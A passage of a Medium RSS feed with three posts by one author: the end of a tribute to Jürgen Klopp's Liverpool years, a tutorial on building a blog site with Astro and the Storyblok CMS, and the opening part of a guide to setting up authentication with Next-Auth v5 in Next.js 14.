times in all competitions and Klopp edges past him with <strong>12 wins, 11 defeats and 7 draws in total.</strong> Regardless of statistics both of them share a great rapport and praise each other every now and then. In fact, when Klopp announced his retirement Pep told the media that he’ll sleep a bit easier knowing that isn’t there anymore.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FfO4sFBZvhuY&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DfO4sFBZvhuY&amp;image=http%3A%2F%2Fi.ytimg.com%2Fvi%2FfO4sFBZvhuY%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ff43694c7384303708bcdf50831afd53/href">https://medium.com/media/ff43694c7384303708bcdf50831afd53/href</a></iframe><h3>The Grand Finale</h3><h4>Running out of Energy?</h4><p>Fast forward to recent times, the day is 26th of January 2024, after 21 match weeks Liverpool are sitting comfortably at the top of the Premier League with a lead of 5 points and suddenly Liverpool drop an official statement along with a video of <strong>Jurgen Klopp saying that he will be leaving the club at the end of the season.</strong></p><p>I swear to god I was shook to the core just like every other football fan who just heard this news, why on Earth would an elite manager announce his retirement out of nowhere? In the video however he explains that:</p><blockquote>I love absolutely everything about this club, I love everything about the city, I love everything about our supporters, I love the team, I love the staff. I love everything. But that I still take this decision shows you that I am convinced it is the one I have to take.</blockquote><blockquote>It is that I am, how can I say it, <strong>running out of energy</strong>. I have no problem now, obviously, I knew it already for longer that I will have to announce it at one point, but I am absolutely fine now. I know that I cannot do the job again and again and again and again.</blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FmHYsAgAx5I4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DmHYsAgAx5I4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FmHYsAgAx5I4%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a9d40e217c234eaea02d50be30775a13/href">https://medium.com/media/a9d40e217c234eaea02d50be30775a13/href</a></iframe><p>After listening to what he said in the video it was pretty understandable why he made this decision, you see being a football manager at a top club is certainly of the hardest jobs in the world, considering the amount of press conferences, team meetings, training sessions, personal interviews you have to attend is no joke. Klopp is the kind of manager who wants to <strong>give</strong> <strong>his 100% every single day</strong> and if he can’t do it anymore then he certainly doesn’t want to feel like a passenger or prove to be a hindrance to Liverpool’s journey ahead.</p><h4>The quadruple dream</h4><p>Since the day he announced his retirement people especially Liverpool fans were very emotional, for some players he was like a father figure for the club, but if the decision has been made that means players would want to give their all in his final season and what better way to send off your manager with a <strong>quadruple in his last season.</strong></p><ul><li>First up was the <strong>Carabao Cup</strong>, most of the heavyweights were knocked out early leaving only Chelsea in the Cup final in February. Even though Chelsea having were having a rough season where they found it hard to be consistent, they were still the favorites to win because of Liverpool’s <strong>injury crisis where half of their first team players were unavailable</strong> and young players had to fill in. What happened in this match was nothing short of a spectacle as the game was locked into a stalemate in normal time and was heading into extra time.</li><li>Right before the 90 minute mark Klopp took an <strong>audacious decision</strong> and took out 4 first team players and subbed on 3 players right from the academy to inject some energy into the game. I remember watching this and thinking there’s no way they win now, but the young lads held on to the game and <strong>Klopp’s faith in this youngsters was rewarded </strong>as an 118th minute header from their captain Virgil van Dijk was enough to seal the deal. The narrative was insane as Gary Neville described <strong>“Liverpool’s kids beat the blue billion pound bottle jobs”</strong> as eight academy graduates walked out with a winner’s medal that night.</li></ul><h4>Falling short in the end</h4><p>With the Carabao Cup in hand the quadruple dream was looking feasible with each day passing, <strong>until Liverpool hit a block which shattered their dreams altogether.</strong> In close succession they lost the FA Cup quarter final to Man Utd. (should’ve won this one) despite being the better team then went on to lose against Atalanta in Europa league and if that wasn’t enough lost two league games Crystal Palace and most notably their local rivals Everton. After the loss to Everton away from home fans knew that the PL title has slipped from their grasp and Everton fans put salt to their wounds by taunting them with <strong>“You lost the league, at Goodison Park”.</strong></p><p>As I said in the beginning I don’t really believe in fairytales or happy endings, but I really wanted Liverpool to win some silverware in Klopp’s final season which they did in the form of a Carabao Cup. In the end though, it wouldn’t matter if he won something or not as he has given priceless memories for fans to cherish about and at the end of the day <strong>football is much more about winning and losing</strong> it is about the difference one man made, the impact he had on people all around the world including me, the narrative he set that <strong>“Believe and you will achieve”.</strong></p><blockquote>I didn’t make them believe. I reminded them that it helps when you believe. That’s what I think. Everybody was ready to push the train and that’s what we did for eight-and-a-half years.</blockquote><h3>Final Words</h3><p>I feel like I must stop here, honestly I have so much more to say, so many more iconic moments to talk about that I can keep writing for hours. I’ve already spent weeks working on this blog and I really hope you enjoyed reading this piece because editing this whole damn thing was an utter nightmare. If you managed to read till the end, I don’t know how to express my gratitude just know that you’re a real one and I hope you have a great day ahead 😅. Ending this blog with one final thing to say:</p><p>Danke Jürgen, Danke schön (I hope I wrote that right) and whatever happens <strong>You’ll Never Walk Alone.</strong></p><h4>References &amp; Additional Content</h4><ul><li><strong>Pep Lijnders book named Intensity (must read):</strong> <a href="https://www.amazon.in/Intensity-Our-Story-Pep-Lijnders/dp/1914197488">https://www.amazon.in/Intensity-Our-Story-Pep-Lijnders/dp/1914197488</a></li><li><strong>James Lawrence Allcott video essay (must watch):</strong> <a href="https://www.youtube.com/watch?v=gQ0oLupAbe0&amp;t=325s">https://www.youtube.com/watch?v=gQ0oLupAbe0&amp;t=325s</a></li><li><strong>Liverpool fan documentaries (insanely high production):</strong> <a href="https://www.youtube.com/watch?v=t2o_41EGckE&amp;list=PLUJS5vI4B14QZ_foMJK_8lhJtYxWK_fKJ">https://www.youtube.com/watch?v=t2o_41EGckE&amp;list=PLUJS5vI4B14QZ_foMJK_8lhJtYxWK_fKJ</a></li><li><strong>Jurgen Klopp on his footballing philosophy:</strong> <a href="https://www.youtube.com/watch?v=MwiULKG7KKg">https://www.youtube.com/watch?v=MwiULKG7KKg</a></li><li><strong>The evolution of Klopp’s tactics at Liverpool:</strong> <a href="https://www.coachesvoice.com/cv/jurgen-klopp-tactics-liverpool/">https://www.coachesvoice.com/cv/jurgen-klopp-tactics-liverpool/</a></li><li><strong>Liverpool’s official tribute to Klopp:</strong> <a href="https://www.youtube.com/watch?v=Xeu00RJx9ds">https://www.youtube.com/watch?v=vBnC6hl8WR4</a></li><li><strong>Players and Coaches on Klopp:</strong> <a href="https://www.planetfootball.com/quick-reads/13-quotes-to-explain-jurgen-klopps-philosophy-i-always-want-it-loud">https://www.planetfootball.com/quick-reads/13-quotes-to-explain-jurgen-klopps-philosophy-i-always-want-it-loud</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b55c8cc42249" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I set up my BlogSite with Astro and Storyblok]]></title>
            <link>https://javascript.plainenglish.io/how-i-set-up-my-blogsite-with-astro-and-storyblok-4faa6b016313?source=rss-b6aecb4000e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/4faa6b016313</guid>
            <category><![CDATA[astrojs]]></category>
            <category><![CDATA[storyblok]]></category>
            <category><![CDATA[portfolio]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[blogging]]></category>
            <dc:creator><![CDATA[Nikhil Chapre]]></dc:creator>
            <pubDate>Tue, 14 May 2024 22:13:18 GMT</pubDate>
            <atom:updated>2024-05-20T01:39:59.493Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HutARbM8YdwCarRvKkzo6g.png" /></figure><p>Been a while since I wrote my last blog, well I was mostly procrastinating thinking what to work on next and finally decided to build my own portfolio website. The only problem you ask… is that we are in 2024 and there are a hell lot of tech stacks available to achieve this, my first thought was to use my new Swiss Army Knife (Next JS) and quickly build a portfolio using a template but then, I read about Astro JS and it completely won me over.</p><p>Don’t get me wrong though I still think Next JS is an insanely good framework to work with it’s just sometimes you are better off wielding a fucking lightsaber (Astro JS) than a Swiss Knife. And in this case using Astro is more preferable because Astro is specifically made for quickly prototyping static sites.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*8zc1RTgCbJ079ytCKfNXyQ.png" /></figure><h3>Why Astro JS?</h3><p>Before getting into development let us try to understand what is Astro and when exactly should you choose Astro.</p><p>From the official docs:</p><blockquote><strong>Astro</strong> is the web framework for building <strong>content-driven websites</strong> like blogs, marketing, and e-commerce. Astro is best-known for pioneering a new <a href="https://docs.astro.build/en/concepts/islands/">frontend architecture</a> to reduce JavaScript overhead and complexity compared to other frameworks. If you need a website that loads fast and has great SEO, then Astro is for you.</blockquote><h3>The tradeoff between Performance &amp; Complexity</h3><p>In general most modern web frameworks excel at building applications with complex functionalities such as admin dashboards, role management, HR portals etc. However, this complexity comes at a great cost of performance and requires a whole lot of optimization to deliver content.</p><p>But, not every site needs to be complex in order to fulfill your needs, sites which serve to deliver static content such as Blogs, Portfolios, Attractive Landing pages require little to no interactivity with the user to showcase content and this is where Astro shines.</p><p>Astro delivers fast websites by default as mentioned on their docs:</p><blockquote>It should be nearly impossible to build a slow website with Astro.</blockquote><p>This is purely because Astro ships websites with <strong>ZERO Javascript by default</strong> to the browser! You heard me right ZERO Javascript meaning everything is pre-rendered on the server-side so it just aims to ship plain HTML to improve performance. As stated in the docs:</p><blockquote><em>JavaScript is often the culprit, since many phones and lower-powered devices rarely match the speed of a developer’s laptop.</em></blockquote><h4>But if everything is HTML what about my Interactive components as they rely on Javascript?</h4><p>This is where Astro’s magic really kicks in because even though Astro components are rendered on the sever by default, you can really opt in and decide which components are to be rendered on the client side. This helps to ship minimal JavaScript to the browser while maintaining performance and interactivity on your website. The ability to enable different components to use static and dynamic rendering on demand is Astro’s biggest strength 💪 and this architecture is known as Islands.</p><h3>Astro Islands</h3><blockquote>The general idea of an “Islands” architecture is deceptively simple: render HTML pages on the server, and inject placeholders or slots around highly dynamic regions […] that can then be “hydrated” on the client into small self-contained widgets, reusing their server-rendered initial HTML.</blockquote><blockquote><em>— </em>Jason Miller, Creator of Preact</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*hPleOw4pXFLYdn4Ne0246g.jpeg" /></figure><p>Simply put, think of your website as an <strong>archipelago</strong> (a group of islands) where the <strong>islands</strong> are your set of different interactive Components floating around in a <strong>sea of lightweight, pre-rendered static HTML</strong>. This design pattern allows a developer to use different UI frameworks with Astro, which brings me to my next point…</p><h3>Astro does NOT compete with other Frontend-Frameworks instead it works in tandem with them</h3><p>The Island architecture allows Astro to support multiple UI frameworks like <a href="https://react.dev/">React</a>, <a href="https://preactjs.com/">Preact</a>, <a href="https://svelte.dev/">Svelte</a>, <a href="https://vuejs.org/">Vue</a>, and <a href="https://www.solidjs.com/">SolidJS</a>. Even though developers mostly stick to a particular framework this flexibility allows developers to use all of these at once in the same project!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*gMPd8FcnhtQyw8Yh.jpg" /></figure><pre>---<br>// Example: Mixing multiple framework components on the same page.<br>import MyReactComponent from &#39;../components/MyReactComponent.jsx&#39;;<br>import MySvelteComponent from &#39;../components/MySvelteComponent.svelte&#39;;<br>import MyVueComponent from &#39;../components/MyVueComponent.vue&#39;;<br>---<br>&lt;div&gt;<br>  &lt;MySvelteComponent /&gt;<br>  &lt;MyReactComponent /&gt;<br>  &lt;MyVueComponent /&gt;<br>&lt;/div&gt;</pre><h3>Setting up our Website</h3><h4>Portfolio/Landing Page</h4><p>Now that we know what Astro is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*qtLLXKOJJjKKNbLcTEzWpg.gif" /></figure><p>Right off the bat, we’ll head on to <a href="https://astro.build/themes/">Astro Themes</a> and pick a template to kickstart our project so that we don’t have to build from scratch. Create a new repo for this project and clone it in your local machine then run npm install to install all the required dependencies from <strong>package.json</strong>. Run npm run dev to start and you’re good to go!</p><p>You can simply edit content on the Portfolio/Landing Page to quickly display your personal information and that is all, or you can ditch all or some of the components and add your own custom components to style your website.</p><h3>Setting up our Blog Page</h3><p>Now this is the more interesting part and a bit tricky too not gonna lie so I’ll try my best to simplify this process, but before we start designing our Blog Page we first need to choose and set up a CMS. What is a CMS you might ask… don’t worry I gotchu 🙃</p><h3>CMS (Content Management System)</h3><p>Let’s take a small example to simplify why we need a CMS in the first place, imagine the company you’re working at (with the ongoing recession, we can only imagine 😅) wants to start a blog page, so your boss assembles a team with 3–4 people including you as the sole tech guy. Unfortunately, the rest of your team does not know how to code and have no idea how to write a blog along with HTML for a website, but they are there as creative writers and UI designers. Now you’re in a state of deadlock where your writers can’t write content on a webpage since they don’t know how to code and even if they did it is hard to write content in plain HTML.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q5ZOoZF4Scgm_HIv" /><figcaption>Example Scenario</figcaption></figure><p>This is where a CMS comes in, A content management system (CMS) is an application that is used to manage content, allowing multiple contributors to create, edit and publish. It is divided into two main components:</p><ul><li><strong>CMA (Content Management Application): </strong>This is basically is a media storage cum editor where the author can write content in a user-friendly interface, think of it as Microsoft Word on Steroids.</li><li><strong>CDA (Content Delivery Application): </strong>This on the other hand deals with all the behind the scenes stuff that processes all the static content and displays as a webpage.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*JY8Kh5-yHRAbbsTdouvOIw.png" /><figcaption>CMS simplifies Content Management for everyone</figcaption></figure><h3>Choosing the Right CMS</h3><p>As for picking a CMS, there are a plethora of options available in the market which you can choose from, but for the sake of this blog I’ll be talking about<strong> Storyblok</strong> which is an excellent Headless CMS option I used for my website. <a href="https://www.storyblok.com/"><strong>Storyblok</strong></a> is a component-based headless CMS that allows you to manage your content using reusable components called <strong>Bloks</strong>. Though Astro provides guides for a lot CMS options, it announced Storyblok as its official CMS integration and trust me when I say this, it really is worth it.</p><h3>Integrating Astro with Storyblok</h3><ul><li>First up, we need to sign up for a Storyblok account and set up our own space, I just went with the free plan and it works well. Copy the Preview token from the settings and paste it into your <strong>.env</strong> file for further use.</li><li>Now we need to install the official Storyblok Integration package using</li></ul><pre>npm install @storyblok/astro vite</pre><h3>Connecting Astro to your Storyblok Space</h3><p>To connect our Astro project to our Storyblok space we just need to modify our <strong>astro.config.mjs</strong> file as shown below and add the preview token from our <strong>.env</strong> file.</p><pre>import { defineConfig } from &#39;astro/config&#39;;<br>import storyblok from &#39;@storyblok/astro&#39;;<br>import { loadEnv } from &#39;vite&#39;;<br><br>const env = loadEnv(&quot;&quot;, process.cwd(), &#39;STORYBLOK&#39;);<br><br>export default defineConfig({<br>  integrations: [<br>    storyblok({<br>      accessToken: env.STORYBLOK_TOKEN,<br>      components: {<br>        // Add your components here<br>      },<br>      apiOptions: {<br>        // Choose your Storyblok space region<br>        region: &#39;us&#39;, // optional,  or &#39;eu&#39; (default)<br>      },<br>    })<br>  ],<br>});</pre><h3>Making Bloks in Storyblok</h3><p><strong>Bloks</strong> are literally the “building blocks” of our webpage when we incorporate Storyblok and are stored in the <strong>Block Library</strong> in your Space. Think of content on your webpage split into different chunks (Blocks) which you can move around, modify at will and even inject in other blocks.</p><p>Right now, we just need three blocks to write content namely <strong>BlogPost</strong>, <strong>BlogPostList </strong>and the other one being <strong>Page. </strong>For every block that we create we need to create its equivalent Astro component, so we create a directory named <strong>storyblok </strong>inside pages to store all these components.</p><ul><li><strong>BlogPost: </strong>This is a Content Type block which basically acts as a layout for our blogs where we can define some fixed fields and even add other nestable blocks such as Banner Images, Tables etc. The fixed fields being <strong>title</strong>, <strong>description, image</strong> and <strong>content.</strong></li></ul><pre>src/pages/storyblok/BlogPost.astro<br><br>---<br>import { storyblokEditable, renderRichText } from &#39;@storyblok/astro&#39;<br>const { blok } = Astro.props<br>const content = renderRichText(blok.content)<br>---<br><br>&lt;article {...storyblokEditable(blok)}&gt;<br>  &lt;h1&gt;{blok.title}&lt;/h1&gt;<br>  &lt;p&gt;{blok.description}&lt;/p&gt;<br>  &lt;img<br>      class=&quot;w-full h-[360px] lg:h- [450px] object-cover&quot;<br>      src={`${blok.image.filename}/m/1600x0`}<br>   /&gt;<br>  &lt;Fragment set:html={content} /&gt; <br>&lt;/article&gt;</pre><p>The above code is for the <strong>BlogPost.astro</strong> component which renders content from all the fields, since our content field is of type <strong>Richtext</strong>, we need to convert it into HTML first and then pass it into &lt;Fragment set:html={content} /&gt; to render as HTML.</p><ul><li><strong>BlogPostList: </strong>This will be a nestable block which will contain all the blocks of the type <strong>BlogPost</strong> and will be displayed as cards. It uses the useStoryblokApi hook to fetch all the stories with the content type of blogPost and then filter as draft/published as required.</li></ul><pre>src/pages/storyblok/BlogPostList.astro<br><br>---<br>import { storyblokEditable } from &#39;@storyblok/astro&#39;<br>import { useStoryblokApi } from &#39;@storyblok/astro&#39;<br><br>const storyblokApi = useStoryblokApi();<br><br>const { data } = await storyblokApi.get(&#39;cdn/stories&#39;, {<br>  version: import.meta.env.DEV ? &quot;draft&quot; : &quot;published&quot;,<br>  content_type: &#39;blogPost&#39;,<br>})<br><br>const posts = data.stories.map(story =&gt; {<br>  return {<br>    title: story.content.title,<br>    date: new Date(story.published_at).toLocaleDateString(&quot;en-US&quot;, {dateStyle: &quot;full&quot;}),<br>    description: story.content.description,<br>    slug: story.full_slug,<br>  }<br>})<br><br>const { blok } = Astro.props<br>---<br><br>&lt;ul {...storyblokEditable(blok)}&gt;<br>  {posts.map(post =&gt; (<br>    &lt;li&gt;<br>      &lt;time&gt;{post.date}&lt;/time&gt;<br>      &lt;a href={post.slug}&gt;{post.title}&lt;/a&gt;<br>      &lt;p&gt;{post.description}&lt;/p&gt;<br>    &lt;/li&gt;<br>  ))}<br>&lt;/ul&gt;</pre><ul><li><strong>Page: </strong>This is also a nestable type block which will render all the components/blocks inside its <strong>body</strong> field. It also adds the storyblokEditable attributes to the parent element which will allow us to edit the page in Storyblok.</li></ul><pre>src/pages/storyblok/Page.astro<br><br>---<br>import { storyblokEditable } from &#39;@storyblok/astro&#39;<br>import StoryblokComponent from &quot;@storyblok/astro/StoryblokComponent.astro&quot;;<br>const { blok } = Astro.props<br>---<br><br>&lt;main {...storyblokEditable(blok)}&gt;<br>  {<br>    blok.body?.map((blok) =&gt; {<br>      return &lt;StoryblokComponent blok={blok} /&gt;<br>    })<br>  }<br>&lt;/main&gt;</pre><p>Now, that we have created our bloks, we just need to handle dynamic routes for each webpage that we create for our blogs. Creating dyamic routes with Astro is fairly simple, we just need to create a new directory named blog inside our pages directory and inside it create a new file called [...slug].astro with the code below:</p><pre>src/pages/blog/[...slug].astro<br><br>---<br>import { useStoryblokApi } from &#39;@storyblok/astro&#39;<br>import StoryblokComponent from &#39;@storyblok/astro/StoryblokComponent.astro&#39;<br><br>export async function getStaticPaths() {<br>  const sbApi = useStoryblokApi();<br><br>  const { data } = await sbApi.get(&quot;cdn/stories&quot;, {<br>    content_type: &quot;blogPost&quot;,<br>    version: import.meta.env.DEV ? &quot;draft&quot; : &quot;published&quot;,<br>  });<br><br>  const stories = Object.values(data.stories);<br><br>  return stories.map((story) =&gt; {<br>    return {<br>      params: { slug: story.slug },<br>    };<br>  });<br>}<br><br>const sbApi = useStoryblokApi();<br>const { slug } = Astro.params;<br>const { data } = await sbApi.get(`cdn/stories/blog/${slug}`, {<br>  version: import.meta.env.DEV ? &quot;draft&quot; : &quot;published&quot;,<br>});<br><br>const story = data.story;<br><br>---<br><br>&lt;html lang=&quot;en&quot;&gt;<br>  &lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot; /&gt;<br>    &lt;title&gt;Storyblok &amp; Astro&lt;/title&gt;<br>  &lt;/head&gt;<br>  &lt;body&gt;<br>    &lt;StoryblokComponent blok={story.content} tags={story.tag_list}/&gt;    {/* Pass on Story taglist along with its content for each Story */}<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>This way every request starting with blog/ will be handled by this file, as it maps the request URL to the slug generated by each Story that we have in our Library. We can test this out by making a Test Blog in our Storyblok Content Tab, head over to New Story and select Content type as <strong>BlogPost</strong>. You’ll be greeted with a split screen where on the left side you’ll see what is called the <strong>Visual Editor</strong> and on the right side a normal editor to write and manage content/media.</p><h4>Getting the hang of Storyblok’s Visual Editor</h4><p>I feel Visual Editor from Storyblok is their game changing feature, which makes writing content and visualizing it on the fly an enjoyable experience for any writer/developer.</p><p>But to set it up you need to change the preview URL from the default one to your localhost with port number where your dev server is running, in my case it is https://localhost:4321/</p><p><strong>Note: </strong>By default the dev server runs on HTTP, however Storyblok requires apps to be served via HTTPS so to bypass this install basicSsl and run your app in HTTPS. For more details refer this link: <a href="https://www.storyblok.com/faq/setting-up-https-on-localhost-in-astro">https://www.storyblok.com/faq/setting-up-https-on-localhost-in-astro</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/0*SecEYEpIKLwe0bjZ.jpg" /></figure><p>And just like that we’re done, now we have our own Content Editor platform that we can use to write content, visualize changes in real-time, manage media using Storyblok’s Asset Library and customize every component using custom Bloks.</p><h4>Source Code:</h4><p><a href="https://github.com/NikhilC2209/portfolio">GitHub - NikhilC2209/portfolio: A minimal Portfolio and Blog Site using Astro</a></p><h4>References:</h4><ul><li><strong>Astro Docs: </strong><a href="https://docs.astro.build/en/getting-started/">https://docs.astro.build/en/getting-started/</a></li><li><strong>Storyblok Integration Guide: </strong><a href="https://docs.astro.build/en/guides/cms/storyblok/">https://docs.astro.build/en/guides/cms/storyblok/</a></li><li><strong>Astro Syntax: </strong><a href="https://docs.astro.build/en/basics/astro-syntax/">https://docs.astro.build/en/basics/astro-syntax/</a></li><li><strong>Astro Community Guides: </strong><a href="https://docs.astro.build/en/community-resources/talks/">https://docs.astro.build/en/community-resources/talks/</a></li><li><strong>RichText vs Markdown: </strong><a href="https://www.ssp.sh/brain/markdown-vs-rich-text/">https://www.ssp.sh/brain/markdown-vs-rich-text/</a></li></ul><h3>In Plain English 🚀</h3><p><em>Thank you for being a part of the </em><a href="https://plainenglish.io/"><strong><em>In Plain English</em></strong></a><em> community! Before you go:</em></p><ul><li>Be sure to <strong>clap</strong> and <strong>follow</strong> the writer ️👏<strong>️️</strong></li><li>Follow us: <a href="https://twitter.com/inPlainEngHQ"><strong>X</strong></a><strong> | </strong><a href="https://www.linkedin.com/company/inplainenglish/"><strong>LinkedIn</strong></a><strong> | </strong><a href="https://www.youtube.com/channel/UCtipWUghju290NWcn8jhyAw"><strong>YouTube</strong></a><strong> | </strong><a href="https://discord.gg/in-plain-english-709094664682340443"><strong>Discord</strong></a><strong> | </strong><a href="https://newsletter.plainenglish.io/"><strong>Newsletter</strong></a></li><li>Visit our other platforms: <a href="https://stackademic.com/"><strong>Stackademic</strong></a><strong> | </strong><a href="https://cofeed.app/"><strong>CoFeed</strong></a><strong> | </strong><a href="https://venturemagazine.net/"><strong>Venture</strong></a><strong> | </strong><a href="https://blog.cubed.run/"><strong>Cubed</strong></a></li><li>Tired of blogging platforms that force you to deal with algorithmic content? Try <a href="https://differ.blog/"><strong>Differ</strong></a></li><li>More content at <a href="https://plainenglish.io/"><strong>PlainEnglish.io</strong></a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4faa6b016313" width="1" height="1" alt=""><hr><p><a href="https://javascript.plainenglish.io/how-i-set-up-my-blogsite-with-astro-and-storyblok-4faa6b016313">How I set up my BlogSite with Astro and Storyblok</a> was originally published in <a href="https://javascript.plainenglish.io/">JavaScript in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Complete Authentication Guide using Next-Auth v5 in Next.js 14]]></title>
            <link>https://javascript.plainenglish.io/complete-authentication-guide-using-next-auth-v5-in-next-js-14-70e7630ab1c2?source=rss-b6aecb4000e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/70e7630ab1c2</guid>
            <category><![CDATA[react]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[jwt]]></category>
            <category><![CDATA[nextjs]]></category>
            <category><![CDATA[backend-development]]></category>
            <dc:creator><![CDATA[Nikhil Chapre]]></dc:creator>
            <pubDate>Wed, 28 Feb 2024 14:16:38 GMT</pubDate>
            <atom:updated>2024-09-03T05:01:59.617Z</atom:updated>
            <content:encoded><![CDATA[<h3>Complete Authentication Guide Using Next-Auth v5 in Next.js 14</h3><p>So this is part two of a two-part blog I’m writing about implementing Complete Authentication in Next.js 14 using Next-Auth v5. If you haven’t read the first blog I would highly recommend checking it out first: <a href="https://medium.com/@nikhilc2209/client-side-form-validation-with-zod-useformstate-in-next-js-14-dc011a9c44fb">https://medium.com/@nikhilc2209/client-side-form-validation-with-zod-useformstate-in-next-js-14-dc011a9c44fb</a></p><p>In this blog, I’m going to talk about how easy it is to implement Authentication &amp; OAuth in your Next.js projects using Next-Auth v5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jkfakLD-hBmPnzYQ.png" /></figure><h3>Setting up Next-Auth</h3><p>NextAuth.js is an open-source authentication library for Next.js applications which tries to simplify the process of implementing authentication in your Next.js projects by providing a set of utilities, middleware, and strategies for various authentication providers making Authentication hassle-free for developers.</p><h4>Installing Next-Auth</h4><p>To include Next-Auth v5 in your Next.js project simply run:</p><p>npm install next-auth@beta</p><p>since this version is still in beta and not included in the main release.</p><h3>Changes from Next-Auth v4</h3><p>The Next-Auth library has been around for a while now and has undergone major changes recently since the introduction of Next-Auth v5, though these changes introduce a lot of new features the publishers have tried their best to minimize the number of breaking changes.</p><p>Here is a summary of most of these changes from the official docs:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3df6c32e8e595dc8aba8b8992700d3ca/href">https://medium.com/media/3df6c32e8e595dc8aba8b8992700d3ca/href</a></iframe><p>The most notable change here is that most session related calls are now replaced by a universal auth() call which can be imported in any Server component and makes the code more readable.</p><blockquote><em>💡</em> <strong>Learn how to structure your large projects in Next.js:</strong></blockquote><p><a href="https://differ.blog/p/mastering-next-js-the-ultimate-guide-to-structuring-large-scale-projects-in-2024-35f7e1">Mastering Next.js: The Ultimate Guide to Structuring Large-Scale Projects in 2024</a></p><blockquote><em>👉</em> To read more such acrticles, <a href="https://differ.blog/"><strong>sign up for free on Differ</strong></a>.</blockquote><h3>Adding Auth handler</h3><p>First we’ll set up a auth file which will handle all of our authentication based requests, create this file in the src directory so this way we can easily import it anywhere in our application using absolute imports starting with @ . Below is an example of how our auth.js file should look like. Starting off we have two options either login through Credentials(username/password) or login through an OAuth provider, in our case Google.</p><pre>auth.js<br><br>import NextAuth from &quot;next-auth&quot;<br>import GoogleProvider from &quot;next-auth/providers/google&quot;<br>import CredentialsProvider from &quot;next-auth/providers/credentials&quot;;<br><br>export const {<br>  handlers: { GET, POST },<br>  auth,<br>} = NextAuth({<br>  session: { strategy: &#39;jwt&#39; },<br><br>  providers: [<br><br>    CredentialsProvider({<br><br>      credentials: {<br>        username: { label: &quot;Username&quot;, type: &quot;text&quot; },<br>        password: { label: &quot;Password&quot;, type: &quot;password&quot; }<br>      },<br><br>      async authorize(credentials) {<br>        // authorization logic here<br>      }<br><br>    GoogleProvider({<br>      clientId: process.env.GOOGLE_CLIENT_ID,<br>      clientSecret: process.env.GOOGLE_CLIENT_SECRET,<br>    }),<br>   ]<br>})</pre><p>Now we’ll make a folder named api/auth inside the app directory which will contain all our logic for authentication. Inside this folder we create a subdirectory named [...nextauth] with a file named route.js. <strong>Interestingly, this naming convention is really important</strong> because this way every API request beginning with /api/auth/* will be handled by the code written in the [...nextauth]/route.js file.</p><p><strong>Note:</strong> In Next-Auth v4 all the authorization logic was handled by the [...nextauth].js file, but since the v5 upgrade we have moved our authorization logic to the root of our repository so that it can be easily imported everywhere.</p><p>And now this file becomes a 1-line handler for GET and POST requests for those paths.</p><pre>app/api/auth/[...nextauth]/route.js<br><br>export { GET, POST } from &quot;@/auth&quot;</pre><h3>Setting up Credentials Provider</h3><p>Setting up Credentials Provider is fairly simple, remember that login form we created in the previous blog, we just need to pass the form data using the signIn function provided by the next-auth library and await for a response.</p><pre>  const response = await signIn(&quot;credentials&quot;, { <br>   username: formData.get(&quot;username&quot;),<br>   password: formData.get(&quot;password&quot;),<br>   redirect: false, <br>  });</pre><p>Now we can handle this request in the authorize function in the Credentials Provider we just created. For the purpose of this blog I’m not going to connect to a database, I’ll just use a dummy.json file to store username &amp; passwords for easier demonstration. So in our authorize function we’ll just loop through the json file and try to find matching credentials for our username and password.</p><p>If we manage to find it we return a user object with user.id &amp; user.username and next-auth will create a session using the strategy defined in auth.js else we just return null indicating that the credentials are incorrect.</p><p>Similar to signIn function Next-Auth also provides a signOut function which deletes the current session and just like that we can easily login and logout using Next-Auth.</p><p>Also, to get our jwt tokens working we need to define a secret key named as NEXTAUTH_SECRET in our .env file, this is important because every jwt token has to be signed by a private key which is not meant to be shared. To generate this simply go to your terminal and run openssl rand -base64 32 to create a random 32-bit base64 string which we’ll use as our private key.</p><h4>Defining public, protected &amp; auth routes</h4><p>Now that we have our login page working we can define our public, private and protected routes, the idea is pretty simple:</p><ul><li><strong>Public routes</strong> should always be accessible by everyone, therefore no sensitive data should be kept here and hence no checks are required if user wants to visit this url. For example: home page.</li><li><strong>Protected routes</strong> should only 